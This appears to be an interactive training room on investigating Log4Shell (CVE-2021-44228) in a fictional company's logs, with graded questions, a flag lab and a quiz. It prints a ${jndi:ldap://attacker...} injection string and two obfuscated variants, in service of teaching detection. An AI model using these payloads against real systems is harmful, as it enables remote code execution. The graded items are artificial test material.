The Log4Shell incident (December 2021)
The most dangerous vulnerability of recent years. A Java logging library ran the attacker's code because they wrote one line in the User-Agent. Investigate it the way SOC teams around the world did.
The most dangerous vulnerability of recent years. A Java logging library ran the attacker's code because they wrote one line in the User-Agent. Investigate it the way SOC teams around the world did.
The night of 10 December 2021, one day after the flaw went public. The Java portal of Nakheel Baghdad Software (fictional) hit 100% CPU for no reason. You have the web log, the application log, the firewall log of outbound connections, and files from the server.
0 of 16 · 0 of 260 points
Linux terminal
Try this room's commands on real Linux running in your browser, with the files you need.
Task 1: Introduction
Scenario: The night of 10 December 2021, one day after the flaw went public. The Java portal of Nakheel Baghdad Software (fictional) hit 100% CPU for no reason. You have the web log, the application log, the firewall log of outbound connections, and files from the server.
What you'll learn in this room
- Understand how one log line became remote code execution (CVE-2021-44228)
- Spot ${jndi:...} payloads even when they are disguised
- Follow the attack from the web log to the server's outbound connections and on to persistence
Each task has an explanation and questions you answer by typing. At the end there is a hands-on lab where you hunt for flags, then the quiz.
1.1Let's start
Task 2: What happened in the world
What happened in the world
- Log4j is an open source library from Apache that millions of Java applications use to write logs.
- On 9 December 2021 a flaw in it went public: CVE-2021-44228, named Log4Shell, scored 10 out of 10 on CVSS. A researcher from the Alibaba Cloud security team reported it to Apache on 24 November.
- Affected versions: 2.0-beta9 up to 2.14.1. Apache released 2.15.0, then 2.16.0, 2.17.0 and 2.17.1, because the first fixes had gaps.
- Within hours the whole internet was being scanned: coin miners like Kinsing, botnets like Mirai, ransomware gangs and state-backed groups.
cd incidents/log4shell
ls -la
head -3 app.log
2.1In app.log, which log4j-core version does the portal run?
52.2What is the CVE number of Log4Shell?
5Task 3: How the flaw works
How the flaw works
Log4j understood a "lookup" inside the text it wrote to the log. If the text contained ${jndi:ldap://attacker:1389/a}:
- The application logs anything that comes from the user: the User-Agent, the username, the search term...
- Log4j sees
${jndi:and connects to the attacker's LDAP server. - The attacker's server replies with a pointer to a Java class on another web server.
- The victim server downloads the class (
.class) and runs it: remote code execution (RCE).
Disguise: attackers wrote it in forms that do not match the word jndi, like ${${lower:j}ndi:...} or ${${::-j}${::-n}${::-d}${::-i}:...}, and Log4j turns them back into jndi before running them.
grep -c jndi access.log
grep -c '${' access.log
grep '${' access.log | grep -v jndi
3.1How many lines in access.log contain the exact word jndi?
53.2How many lines in the same file contain `${`? (The difference is the disguised payloads.)
103.3Which IP sent the disguised payloads?
103.4In app.log, in which field did the attacker put the payload of the POST /login request?
5Task 4: How to investigate it as an analyst
How to investigate it as an analyst
- Search for
${in the web and application logs, not only forjndi, so you catch the disguised payloads. - Sort them: a scan means the attacker is trying, success means the server itself connected out. The deciding evidence is in the outbound (egress) connection log: an LDAP connection on 389 or 1389, a
.classdownload, then a reverse shell. - After the break-in, look for persistence like crontab, and for hidden files in
/tmpwhose names start with a dot. - The fix: upgrade Log4j to the latest version. If you cannot do it at once, remove the
JndiLookupclass from the library, and block outbound connections the servers do not need.
cat egress-firewall.log
grep 203.0.113.77 egress-firewall.log
cat history.txt
4.1In egress-firewall.log, what is the name of the class file the server downloaded from the attacker?
104.2On which port was the reverse shell opened one second after the class download?
104.3In history.txt, under what name did the attacker save the mining program? (File name only.)
10Task 5: Lab: The night of the Nakheel portal
The night of the Nakheel portal
The attacker left a crontab job that runs every 5 minutes, with the command encoded in Base64 so it is not easy to read. Decode it and follow the file it runs. Note: files whose names start with a dot are hidden, so use ls -la.
grep crontab history.txt
echo 'ENCODED_TEXT' | base64 -d
ls -la server-tmp
5.1After decoding the Base64 in history.txt, what is the name of the hidden file that cron runs? (File name only.)
105.2Which mining pool address does the program send to? (The domain without the port.)
105.3Find the flag inside the hidden file in the server-tmp folder.
20Task 6: Quiz
Quiz
Answer the questions to complete the room. Go back to the tasks if you need to.
6.1Why was Log4Shell so dangerous?
506.2What is the strongest evidence that the attack actually succeeded and was not just an attempt?
506.3Why is searching for the word jndi alone not enough?
50